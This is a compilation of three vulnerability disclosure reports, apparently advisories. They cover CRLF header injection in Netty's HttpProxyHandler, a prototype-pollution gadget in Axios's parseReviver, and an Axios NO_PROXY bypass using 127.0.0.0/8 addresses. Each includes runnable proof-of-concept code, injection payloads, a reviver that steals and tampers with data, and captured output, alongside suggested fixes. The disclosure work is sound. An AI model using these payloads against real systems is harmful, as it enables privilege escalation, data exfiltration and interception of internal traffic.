java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, url, Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) { req.headers().set(HttpHeaderNames.PROXYAUTHORIZATION, authorization); }
if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }
return req; }
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided outboundHeaders are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses HttpProxyHandler with user-influenced outboundHeaders 2. The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format: CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.; import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();
System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } }
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r
Injected X-Admin header in wire: true VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); }
8. Resources
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (incomplete fix — this report) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ],
Proof of Concept
javascript import http from 'http'; import axios from './index.js';
// Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port;
// === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged };
// === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver; server.close();
Verified PoC Output
[1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier
[3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user
2. Financial Manipulation
javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected
3. Security Control Bypass
javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
javascript // In lib/core/mergeConfig.js const config = Object.create(null);
Fix 3: Validate parseReviver type and source
javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - MDN: JSON.parse reviver - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NOPROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NOPROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NOPROXY matching entirely and be forwarded to the configured HTTP proxy — even when NOPROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NOPROXY comparison.
The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NOPROXY protection even in the fully patched Axios 1.15.0 release.
Verification This bypass has been independently verified on:
Axios version: 1.15.0 (latest patched release) Node.js version: v22.16.0 OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location
| Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) |
2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NOPROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } shouldBypassProxy() is the single gatekeeper for NOPROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NOPROXY using a raw literal string match with no normalization:
Request URL → http://localhost./secret NOPROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
<img width="602" height="123" alt="01axiosversionverification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />
Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:
const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
// Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NOPROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost);
2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 <img width="884" height="135" alt="02vulnerablecodeloopbackaddresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />
RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
<img width="884" height="537" alt="03rfc1122loopbackdefinition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />
2.6 Step-by-Step Bypass Execution Trace Environment:
NOPROXY = "localhost,127.0.0.1,::1" HTTPPROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
// Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NOPROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NOPROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service.
2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NOPROXY bypass → SSRF | NOPROXY bypass → SSRF (identical) |
2.8 Total Exposed Address Space Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) Real-world services that commonly bind to non-standard loopback addresses include:
Internal microservices and admin dashboards using dedicated loopback IPs Development environments with multiple isolated service instances Docker and container bridge network configurations Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory mkdir axios-bypass-test && cd axios-bypass-test Step 2 — Initialize the project with the patched Axios version Create package.json:
{ "type": "module", "dependencies": { "axios": "1.15.0" } } Install dependencies:
npm install Verify the installed version:
npm list axios Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXYPORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log( Method : ${req.method}); console.log( URL : ${req.url}); console.log( Host : ${req.headers.host}); res.writeHead(200); res.end('proxied'); }).listen(PROXYPORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NOPROXY. process.env.HTTPPROXY = http://127.0.0.1:${PROXYPORT}; process.env.NOPROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(\n[] Testing: ${url}); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) === [] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED <img width="1621" height="739" alt="05pocexecutionbypassconfirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />
3.3 Analysis of Results The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NOPROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NOPROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTPPROXY or HTTPSPROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NOPROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|
Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NOPROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
